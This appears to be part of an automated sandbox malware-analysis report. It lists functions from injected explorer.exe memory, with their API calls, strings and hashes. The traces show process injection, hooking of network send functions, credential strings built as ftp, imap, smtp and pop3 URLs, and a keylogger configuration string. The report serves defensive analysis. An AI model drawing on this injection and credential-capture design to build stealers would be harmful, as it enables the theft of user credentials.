CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000,?,00000000,?,00000000), ref: 0322269F
wsprintfA.USER32 ref: 032226B6
CryptDestroyHash.ADVAPI32(?), ref: 032226CF
CryptReleaseContext.ADVAPI32(?,00000000), ref: 032226D9

Strings

%02X, xrefs: 032226B0

Memory Dump Source

Source File: 0000000C.00000002.4535195693.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3221000_explorer.jbxd

Yara matches

Similarity

API ID: Crypt$Hash$Context$AcquireCreateDataDestroyParamReleaselstrlenwsprintf
String ID: %02X
API String ID: 3341110664-436463671
Opcode ID: 920e364b8fd0885101472962ccb668493c52ad142fee47072a489e927d66d733
Instruction ID: 6d49a99264a5cf780e8b5f3c281ec0e737335f162fbc16e18007fc37146d8e22
Opcode Fuzzy Hash: 920e364b8fd0885101472962ccb668493c52ad142fee47072a489e927d66d733
Instruction Fuzzy Hash: 76111976A00108BFDB21EB95EC88EAEBFBCEB44741F108065F645E2154D6754E459B70

Function 03221B17 Relevance: 6.1, APIs: 4, Instructions: 101
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlMoveMemory.NTDLL(?,?,?), ref: 03221B4E
LoadLibraryA.KERNEL32(?,03224434,00000000,00000000,75922EE0,00000000,03221910,?,?,?,00000001,?,00000000), ref: 03221B76
GetProcAddress.KERNEL32(00000000,-00000002), ref: 03221BA3
LdrProcessRelocationBlock.NTDLL(?,?,00000008,?), ref: 03221BF4

Memory Dump Source

Source File: 0000000C.00000002.4535195693.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3221000_explorer.jbxd

Yara matches

Similarity

API ID: AddressBlockLibraryLoadMemoryMoveProcProcessRelocation
String ID:
API String ID: 3827878703-0
Opcode ID: e9a3352b232dc01754ed49fd5898650d7b3954f92473316484ee97e3081bcc74
Instruction ID: 4d0f74f00511deb34d1f83876a9551cc641c9b62f210903abc32dd29c18da6fc
Opcode Fuzzy Hash: e9a3352b232dc01754ed49fd5898650d7b3954f92473316484ee97e3081bcc74
Instruction Fuzzy Hash: 0A318679710226BBC724CE29CC85B66BBA8AF15315B18456DE886C7200E775F8A5CBA0

Function 03221332 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 94
libraryloadersleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03222861: GetProcessHeap.KERNEL32(00000008,0000A000,032210CC), ref: 03222864
Part of subcall function 03222861: RtlAllocateHeap.NTDLL(00000000), ref: 0322286B

GetModuleFileNameA.KERNEL32(00000000,00000000,00000104,?,?,0322109E,?,03221010), ref: 0322134A
GetCurrentProcessId.KERNEL32(00000003,?,0322109E,?,03221010), ref: 0322135B
wsprintfA.USER32 ref: 03221372

Part of subcall function 0322263E: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 0322265A
Part of subcall function 0322263E: CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 03222672
Part of subcall function 0322263E: lstrlen.KERNEL32(?,00000000), ref: 0322267A
Part of subcall function 0322263E: CryptHashData.ADVAPI32(?,?,00000000,?,00000000), ref: 03222685
Part of subcall function 0322263E: CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000,?,00000000,?,00000000), ref: 0322269F
Part of subcall function 0322263E: wsprintfA.USER32 ref: 032226B6
Part of subcall function 0322263E: CryptDestroyHash.ADVAPI32(?), ref: 032226CF
Part of subcall function 0322263E: CryptReleaseContext.ADVAPI32(?,00000000), ref: 032226D9

CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 03221389
GetLastError.KERNEL32 ref: 0322138F
Sleep.KERNEL32(000001F4), ref: 032213A1

Part of subcall function 032224D5: GetCurrentProcessId.KERNEL32 ref: 032224E7
Part of subcall function 032224D5: GetCurrentThreadId.KERNEL32 ref: 032224EF
Part of subcall function 032224D5: CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 032224FF
Part of subcall function 032224D5: Thread32First.KERNEL32(00000000,0000001C), ref: 0322250D
Part of subcall function 032224D5: CloseHandle.KERNEL32(00000000), ref: 03222566

GetModuleHandleA.KERNEL32(ws2_32.dll,send), ref: 032213B8
GetProcAddress.KERNEL32(00000000), ref: 032213BF
GetModuleHandleA.KERNEL32(ws2_32.dll,WSASend), ref: 032213E4
GetProcAddress.KERNEL32(00000000), ref: 032213EB

Part of subcall function 03221DE3: RtlMoveMemory.NTDLL(00000000,00000000,00000000), ref: 03221E1D

RtlExitUserThread.NTDLL(00000000), ref: 0322141D

Strings

ws2_32.dll, xrefs: 032213B3, 032213DF
%s%d%d%d, xrefs: 0322136C
send, xrefs: 032213AE
WSASend, xrefs: 032213DA

Memory Dump Source

Source File: 0000000C.00000002.4535195693.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3221000_explorer.jbxd

Yara matches

Similarity

API ID: Crypt$Hash$CreateCurrentHandleModuleProcess$AddressContextHeapProcThreadwsprintf$AcquireAllocateCloseDataDestroyErrorExitFileFirstLastMemoryMoveMutexNameParamReleaseSleepSnapshotThread32Toolhelp32Userlstrlen
String ID: %s%d%d%d$WSASend$send$ws2_32.dll
API String ID: 706757162-1430290102
Opcode ID: 814e7b4ae8de66d3c7444b5c06eb94ba296063e022bb1a84a8540e974700fa2f
Instruction ID: 069c0f3b5237fb91fba9661fe5576e037d72163ac89bf23f019725af925dfe25
Opcode Fuzzy Hash: 814e7b4ae8de66d3c7444b5c06eb94ba296063e022bb1a84a8540e974700fa2f
Instruction Fuzzy Hash: 77318139350324BBCB20FFA1EC0DF6E7E55AB15B01F009414FB099A594CBBA9991CBA1

Function 03221647 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 91
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(03224220,?,?), ref: 03221679
lstrlen.KERNEL32(?), ref: 03221686
getpeername.WS2_32(?,?,?), ref: 032216A0
inet_ntoa.WS2_32(?), ref: 032216B1
htons.WS2_32(?), ref: 032216BF
wsprintfA.USER32 ref: 03221725

Strings

ftp://%s:%s@%s:%d, xrefs: 03221708
imap://%s:%s@%s:%d, xrefs: 032216FA
smtp://%s:%s@%s:%d, xrefs: 032216F3, 03221723
pop3://%s:%s@%s:%d, xrefs: 03221701

Memory Dump Source

Source File: 0000000C.00000002.4535195693.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3221000_explorer.jbxd

Yara matches

Similarity

API ID: lstrlen$getpeernamehtonsinet_ntoawsprintf
String ID: ftp://%s:%s@%s:%d$imap://%s:%s@%s:%d$pop3://%s:%s@%s:%d$smtp://%s:%s@%s:%d
API String ID: 3379139566-1703351401
Opcode ID: 6748c8daf32ec838e8c20b75544f0d50a01fa35e257f7c2e0f102e3358f00b1a
Instruction ID: b43876b41ce8929c593e19bdb267e25b8e6081a3ce5f7395ab1fe1c9f55e8b01
Opcode Fuzzy Hash: 6748c8daf32ec838e8c20b75544f0d50a01fa35e257f7c2e0f102e3358f00b1a
Instruction Fuzzy Hash: 7A21EA35E2072AB7DF10DEA99C48DBEBEBD9B85101B0C4175E904D3114CB75DDA08A60

Function 03221752 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 44
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,sscanf,?,?,?,03221539,?,?,?,0322144B,?), ref: 03221763
GetProcAddress.KERNEL32(00000000), ref: 0322176A
RtlZeroMemory.NTDLL(03224228,00000104), ref: 03221788
RtlZeroMemory.NTDLL(03224118,00000104), ref: 03221790
RtlZeroMemory.NTDLL(03224330,00000104), ref: 03221798
RtlZeroMemory.NTDLL(03224000,00000104), ref: 032217A1

Strings

%s%s%s%s, xrefs: 032217B3
ntdll.dll, xrefs: 0322175A
sscanf, xrefs: 03221755

Memory Dump Source

Source File: 0000000C.00000002.4535195693.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3221000_explorer.jbxd

Yara matches

Similarity

API ID: MemoryZero$AddressHandleModuleProc
String ID: %s%s%s%s$ntdll.dll$sscanf
API String ID: 1490332519-278825019
Opcode ID: e32d3112b659024e3179f29fa3738c01041425ab31507cb39e3d96bf5fe2b3bc
Instruction ID: 45a4aa599cca48f27216822b48bf832861b725e82a0afb1e5ef04f1192e9f1bd
Opcode Fuzzy Hash: e32d3112b659024e3179f29fa3738c01041425ab31507cb39e3d96bf5fe2b3bc
Instruction Fuzzy Hash: 0AF08926BA033C3BC120F2AB7C0AC4FBD5CC5A1DA63520251BB146750389A9798049F4

Function 032224D5 Relevance: 15.1, APIs: 10, Instructions: 51
threadprocessinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 032224E7
GetCurrentThreadId.KERNEL32 ref: 032224EF
CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 032224FF
Thread32First.KERNEL32(00000000,0000001C), ref: 0322250D
OpenThread.KERNEL32(001FFFFF,00000000,?), ref: 0322252C
SuspendThread.KERNEL32(00000000), ref: 0322253C
CloseHandle.KERNEL32(00000000), ref: 0322254B
Thread32Next.KERNEL32(00000000,0000001C), ref: 0322255B
CloseHandle.KERNEL32(00000000), ref: 03222566

Memory Dump Source

Source File: 0000000C.00000002.4535195693.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3221000_explorer.jbxd

Yara matches

Similarity

API ID: Thread$CloseCurrentHandleThread32$CreateFirstNextOpenProcessSnapshotSuspendToolhelp32
String ID:
API String ID: 1467098526-0
Opcode ID: fed6854004b0badc2f4a832df630f7357b109ee2cf97f355be9e90ab9a3c2016
Instruction ID: a032106f39d68cf88a789c8b477f668d90dc0d308b81636f8ca8185b724517e2
Opcode Fuzzy Hash: fed6854004b0badc2f4a832df630f7357b109ee2cf97f355be9e90ab9a3c2016
Instruction Fuzzy Hash: A6117C75504311FFD724EF60BC0CB6EBFA8FB95B01F048919F68192144D7398A598BB2

Function 03221F4A Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 283
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03222861: GetProcessHeap.KERNEL32(00000008,0000A000,032210CC), ref: 03222864
Part of subcall function 03222861: RtlAllocateHeap.NTDLL(00000000), ref: 0322286B

Part of subcall function 032227E2: lstrlen.KERNEL32(032240DA,?,00000000,00000000,03221F86,75918A60,032240DA,00000000), ref: 032227EA
Part of subcall function 032227E2: MultiByteToWideChar.KERNEL32(00000000,00000000,032240DA,00000001,00000000,00000000), ref: 032227FC

Part of subcall function 03222374: RtlZeroMemory.NTDLL(?,00000018), ref: 03222386

RtlZeroMemory.NTDLL(?,0000003C), ref: 03221FE2
wsprintfW.USER32 ref: 0322211B
wsprintfW.USER32 ref: 03222186
RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 03222250

Strings

Host: %s, xrefs: 03222180
Accept: */*Referer: %S, xrefs: 03222111
Content-Type: application/x-www-form-urlencoded, xrefs: 032221AA
POST, xrefs: 032220CC

Memory Dump Source

Source File: 0000000C.00000002.4535195693.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3221000_explorer.jbxd

Yara matches

Similarity

API ID: Memory$HeapZerowsprintf$AllocateByteCharMoveMultiProcessWidelstrlen
String ID: Accept: */*Referer: %S$Content-Type: application/x-www-form-urlencoded$Host: %s$POST
API String ID: 4204651544-1701262698
Opcode ID: 1f65f9cd437e2382671c502a8f000462c1183544df76326bf08901450f60cd15
Instruction ID: b6472a27b7cfb9030e5bf2d9bead3f02a1a9083f47ec4880a140422eea04df7a
Opcode Fuzzy Hash: 1f65f9cd437e2382671c502a8f000462c1183544df76326bf08901450f60cd15
Instruction Fuzzy Hash: C5A19C74618315FFC360EF64DC84A2BBFE8EB88740F04492DFA85D7251DA76DA448B62

Function 032225AD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(00000400,00000000,?,7591E800,?,?,microsoftedgecp.exe,03221287), ref: 032225BF
IsWow64Process.KERNEL32(000000FF,?), ref: 032225D1
IsWow64Process.KERNEL32(00000000,?), ref: 032225E4
CloseHandle.KERNEL32(00000000), ref: 032225FA

Strings

microsoftedgecp.exe, xrefs: 032225AD

Memory Dump Source

Source File: 0000000C.00000002.4535195693.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3221000_explorer.jbxd

Yara matches

Similarity

API ID: Process$Wow64$CloseHandleOpen
String ID: microsoftedgecp.exe
API String ID: 331459951-1475183003
Opcode ID: aa7e5bd38de0a34635ec9ef3d9d0d98df444393fd0f11de21675462534e11964
Instruction ID: f3ca8f1775093c987f7d4334859366dcc0b8b46a0edac2b12033237f133dfd76
Opcode Fuzzy Hash: aa7e5bd38de0a34635ec9ef3d9d0d98df444393fd0f11de21675462534e11964
Instruction Fuzzy Hash: 6DF0BB7691232DFF9B20DF90AD488FEBB6CEF01251B145259FA0092140D7354F44E6B0

Analysis Process: explorer.exePID: 6432, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	8.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	9
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00D2355C Relevance: 1.6, APIs: 1, Instructions: 73
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 00D235D8

Memory Dump Source

Source File: 0000000D.00000002.4535198953.0000000000D21000.00000040.80000000.00040000.00000000.sdmp, Offset: 00D21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d21000_explorer.jbxd

Yara matches

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 105ce7ebc966886b9a25723169f2257f301d4275c672492e635fc8e478682f43
Instruction ID: 045512904ea94087d8484ad0e42319be6b9fbbd755f110a12a04d5d091dd2c24
Opcode Fuzzy Hash: 105ce7ebc966886b9a25723169f2257f301d4275c672492e635fc8e478682f43
Instruction Fuzzy Hash: FF11C430611A195FEB58BBB8A89D27937A0FB35306F58413AA419C76A1DA3D8A41C721

Function 00D23220 Relevance: 7.7, APIs: 5, Instructions: 241
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00D23266
Process32First.KERNEL32 ref: 00D23289
Process32Next.KERNEL32 ref: 00D23532
CloseHandle.KERNELBASE ref: 00D23543
SleepEx.KERNELBASE ref: 00D2354E

Memory Dump Source

Source File: 0000000D.00000002.4535198953.0000000000D21000.00000040.80000000.00040000.00000000.sdmp, Offset: 00D21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d21000_explorer.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSleepSnapshotToolhelp32
String ID:
API String ID: 2482764027-0
Opcode ID: dd7379c30c01fbe83c455f487028ed93214d04d4b8b4672215a43173641bdad8
Instruction ID: 2cc9473a00afce1ca9c2387fe84fcab58a5ea01cd028c46f6f02306f1361e079
Opcode Fuzzy Hash: dd7379c30c01fbe83c455f487028ed93214d04d4b8b4672215a43173641bdad8
Instruction Fuzzy Hash: 518131312186188FE706EF14FC58BEAB7A1FB61744F44866AE446C7160EF7CDA05CBA1

Function 00D2A048 Relevance: 4.7, APIs: 3, Instructions: 223
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00D2A147
VirtualProtect.KERNELBASE(?,?,?,?,?,?,?,-0000000E), ref: 00D2A1BB
VirtualProtect.KERNELBASE ref: 00D2A1D9

Memory Dump Source

Source File: 0000000D.00000002.4535198953.0000000000D27000.00000040.80000000.00040000.00000000.sdmp, Offset: 00D27000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d27000_explorer.jbxd

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 9471cbd89cfacdc20873a06991d91791c754b160c08a2600c3720216ed5fc549
Instruction ID: 9c3d15c81fda128d01fb23f3e0a0c05022000a30557f1dd11d44358a7c2831b4
Opcode Fuzzy Hash: 9471cbd89cfacdc20873a06991d91791c754b160c08a2600c3720216ed5fc549
Instruction Fuzzy Hash: D3517A31358A3D4BCB25AA3CBDC46B5B7C1E775339F18062AD48AC3289D959D84683A3

Analysis Process: explorer.exePID: 3304, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	9.6%
Dynamic/Decrypted Code Coverage:	97.5%
Signature Coverage:	17.7%
Total number of Nodes:	322
Total number of Limit Nodes:	4

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 03091016 Relevance: 35.2, APIs: 14, Strings: 6, Instructions: 193
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03092724: VirtualQuery.KERNEL32(00000000,?,0000001C,?,?,?,00000000,030929F3,-00000001,0309128C), ref: 03092731

Part of subcall function 03092A09: GetProcessHeap.KERNEL32(00000008,0000A000,030910BF), ref: 03092A0C
Part of subcall function 03092A09: RtlAllocateHeap.NTDLL(00000000), ref: 03092A13

RtlMoveMemory.NTDLL(00000000,?,00000363), ref: 03091038
RtlMoveMemory.NTDLL(00000000,?,?), ref: 0309106C
NtUnmapViewOfSection.NTDLL(000000FF,?), ref: 03091075
GetCurrentProcessId.KERNEL32(?,03091010), ref: 0309107B
wsprintfA.USER32 ref: 030910E7
RtlMoveMemory.NTDLL(00000000,0000000C,-00000001), ref: 03091155
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 03091160
Process32First.KERNEL32(00000000,?), ref: 0309117F
CharLowerA.USER32(?), ref: 03091199
lstrcmpiA.KERNEL32(?,explorer.exe), ref: 030911B5
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 03091212
Process32Next.KERNEL32(00000000,00000128), ref: 0309126C
CloseHandle.KERNEL32(00000000), ref: 0309127F
Sleep.KERNELBASE(000003E8), ref: 0309129F

Strings

|:|, xrefs: 03091125
microsoftedgecp.exe, xrefs: 03091208
explorer.exe, xrefs: 030911AB
0-vP,v, xrefs: 03091075
keylog_rules=, xrefs: 0309110D
%s%s, xrefs: 030910E1

Memory Dump Source

Source File: 00000010.00000002.4535447813.0000000003091000.00000040.80000000.00040000.00000000.sdmp, Offset: 03091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3091000_explorer.jbxd

Similarity

API ID: MemoryMove$HeapProcessProcess32lstrcmpi$AllocateCharCloseCreateCurrentFirstHandleLowerNextQuerySectionSleepSnapshotToolhelp32UnmapViewVirtualwsprintf
String ID: %s%s$0-vP,v$explorer.exe$keylog_rules=$microsoftedgecp.exe$|:|
API String ID: 3206029838-1059640896
Opcode ID: 6e62beb66ed9ae49302e770778a82a69859045ccb7f7cc4ae0e0d54b19c63d18
Instruction ID: 33285956bf5f76bc2f995777cb3994a7330d0292c1fe73c9df5af8e0ad94c0df
Opcode Fuzzy Hash: 6e62beb66ed9ae49302e770778a82a69859045ccb7f7cc4ae0e0d54b19c63d18
Instruction Fuzzy Hash: 69513638207306ABEF18FF71DC4897B77EDFBC5340F05096BA9518B290DB388905AA61

Function 030910A5 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 151
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03092A09: GetProcessHeap.KERNEL32(00000008,0000A000,030910BF), ref: 03092A0C
Part of subcall function 03092A09: RtlAllocateHeap.NTDLL(00000000), ref: 03092A13

wsprintfA.USER32 ref: 030910E7

Part of subcall function 0309276D: OpenFileMappingA.KERNEL32(00000006,00000000,00000000), ref: 03092777
Part of subcall function 0309276D: MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000,?,?,030910FE), ref: 03092789

RtlMoveMemory.NTDLL(00000000,0000000C,-00000001), ref: 03091155
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 03091160
Process32First.KERNEL32(00000000,?), ref: 0309117F
CharLowerA.USER32(?), ref: 03091199
lstrcmpiA.KERNEL32(?,explorer.exe), ref: 030911B5
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 03091212
Process32Next.KERNEL32(00000000,00000128), ref: 0309126C
CloseHandle.KERNEL32(00000000), ref: 0309127F
Sleep.KERNELBASE(000003E8), ref: 0309129F

Strings

|:|, xrefs: 03091125
microsoftedgecp.exe, xrefs: 03091208
explorer.exe, xrefs: 030911AB
keylog_rules=, xrefs: 0309110D
%s%s, xrefs: 030910E1

Memory Dump Source

Source File: 00000010.00000002.4535447813.0000000003091000.00000040.80000000.00040000.00000000.sdmp, Offset: 03091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3091000_explorer.jbxd

Similarity

API ID: FileHeapProcess32lstrcmpi$AllocateCharCloseCreateFirstHandleLowerMappingMemoryMoveNextOpenProcessSleepSnapshotToolhelp32Viewwsprintf
String ID: %s%s$explorer.exe$keylog_rules=$microsoftedgecp.exe$|:|
API String ID: 3018447944-2805246637
Opcode ID: 7995ec3c80d50397070a2dded2f5bf58388c610c4aed99a513929ae8cb489e24
Instruction ID: 9bf40a53e9bf136f698dc5020b5cd171f4840a84c6106fd6baedd38904761b04
Opcode Fuzzy Hash: 7995ec3c80d50397070a2dded2f5bf58388c610c4aed99a513929ae8cb489e24
Instruction Fuzzy Hash: 2A41E8383073066BEE14FF65CC8497FB3EDFBC5740F040A6BA9919B290EB349905AA51

Function 03099AE0 Relevance: 6.2, APIs: 4, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000010.00000002.4535447813.0000000003098000.00000040.80000000.00040000.00000000.sdmp, Offset: 03098000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3098000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f4466b2c9bb0727e077ba47d382605d2602b882d85586a3806476c8633524c8
Instruction ID: 1be0114264494ae08c0391719ba061df5446747c64d94055072b610deff3537e
Opcode Fuzzy Hash: 6f4466b2c9bb0727e077ba47d382605d2602b882d85586a3806476c8633524c8
Instruction Fuzzy Hash: 485127B1A462525AFF20CA78CD807B5B7D8EB42230B1C077EC5E6C73C6E7985806E760

Function 0309276D Relevance: 3.0, APIs: 2, Instructions: 23
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenFileMappingA.KERNEL32(00000006,00000000,00000000), ref: 03092777
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000,?,?,030910FE), ref: 03092789

Memory Dump Source

Source File: 00000010.00000002.4535447813.0000000003091000.00000040.80000000.00040000.00000000.sdmp, Offset: 03091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3091000_explorer.jbxd

Similarity

API ID: File$MappingOpenView
String ID:
API String ID: 3439327939-0
Opcode ID: 432b158ff54ef1501b70044838f3929d0c31760967a9896d3dd3ac720691665b
Instruction ID: 20a6ab9357cc80d3f6a490bd3e2a8b34cc028ebd6190c517475d7fb0cf061704
Opcode Fuzzy Hash: 432b158ff54ef1501b70044838f3929d0c31760967a9896d3dd3ac720691665b
Instruction Fuzzy Hash: A0D01736702231BBE7746A7B6C0CF83AEDDEFC6AE1B020026B50DD2140D6648810C6F0

Function 0309275A Relevance: 3.0, APIs: 2, Instructions: 8
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

UnmapViewOfFile.KERNEL32(00000000,?,0309129A,00000001), ref: 0309275E
CloseHandle.KERNELBASE(?,?,0309129A,00000001), ref: 03092765

Memory Dump Source

Source File: 00000010.00000002.4535447813.0000000003091000.00000040.80000000.00040000.00000000.sdmp, Offset: 03091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3091000_explorer.jbxd

Similarity

API ID: CloseFileHandleUnmapView
String ID:
API String ID: 2381555830-0
Opcode ID: 754826d17893706b8000f0ec4cad5785ef723ee40c510e060ddaf607bdf90a29
Instruction ID: 8731f499047776ab4aae619f2e79d353c3f6fd0d4fdf0951262ab211198626af
Opcode Fuzzy Hash: 754826d17893706b8000f0ec4cad5785ef723ee40c510e060ddaf607bdf90a29
Instruction Fuzzy Hash: 70B0123A40703097C3243734781C9DB3F18FEC922130701C6F14D81008472C08018EE8

Function 03092A09 Relevance: 3.0, APIs: 2, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,0000A000,030910BF), ref: 03092A0C
RtlAllocateHeap.NTDLL(00000000), ref: 03092A13

Memory Dump Source

Source File: 00000010.00000002.4535447813.0000000003091000.00000040.80000000.00040000.00000000.sdmp, Offset: 03091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3091000_explorer.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 5b3eff69bf06d758c4434b4b2c511dba51822f26f25ef5f3a6b294ab5203d3ad
Instruction ID: 95f09a7fb9299f640903f6bc59dfb298572e9f4141b3b6f83b59e169f2cb5e79
Opcode Fuzzy Hash: 5b3eff69bf06d758c4434b4b2c511dba51822f26f25ef5f3a6b294ab5203d3ad
Instruction Fuzzy Hash: CFA002B56512006BDE5477E4A91EF167758B7C4701F0145857296C50849D7954448F21

Non-executed Functions

Function 030918BF Relevance: 47.5, APIs: 23, Strings: 4, Instructions: 208
injectionnativesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03092724: VirtualQuery.KERNEL32(00000000,?,0000001C,?,?,?,00000000,030929F3,-00000001,0309128C), ref: 03092731

OpenProcess.KERNEL32(001FFFFF,00000000,?,00000000,?,00000000,00000001), ref: 030918F4
NtSetInformationProcess.NTDLL(00000000,00000034,?), ref: 0309192F
NtUnmapViewOfSection.NTDLL(000000FF,00000000), ref: 030919BF
RtlMoveMemory.NTDLL(00000000,03093638,00000016), ref: 030919E6
RtlMoveMemory.NTDLL(-00000016,00000363), ref: 03091A0E
NtUnmapViewOfSection.NTDLL(000000FF,-00000016), ref: 03091A1E
CreateMutexA.KERNEL32(00000000,00000000,opera_shared_counter,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 03091A38
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?,00000000), ref: 03091A40
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 03091A4E
Sleep.KERNEL32(000003E8,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 03091A55
GetModuleHandleA.KERNEL32(ntdll,atan,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 03091A6B
GetProcAddress.KERNEL32(00000000), ref: 03091A72
ReadProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 03091A88
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 03091AB2
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 03091AC5
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 03091ACC
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 03091AD3
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 03091AE7
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 03091AFE
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 03091B0B
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 03091B11
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 03091B17
CloseHandle.KERNEL32(00000000,?,00000000), ref: 03091B1A

Strings

opera_shared_counter, xrefs: 03091A31
atan, xrefs: 03091A61
0-vP,v, xrefs: 030919B6
ntdll, xrefs: 03091A66

Memory Dump Source

Source File: 00000010.00000002.4535447813.0000000003091000.00000040.80000000.00040000.00000000.sdmp, Offset: 03091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3091000_explorer.jbxd

Similarity

API ID: Handle$Close$MemoryProcess$Create$MoveRemoteSectionSleepThreadUnmapViewWrite$AddressErrorInformationLastModuleMutexOpenProcQueryReadVirtual
String ID: 0-vP,v$atan$ntdll$opera_shared_counter
API String ID: 1066286714-2395699481
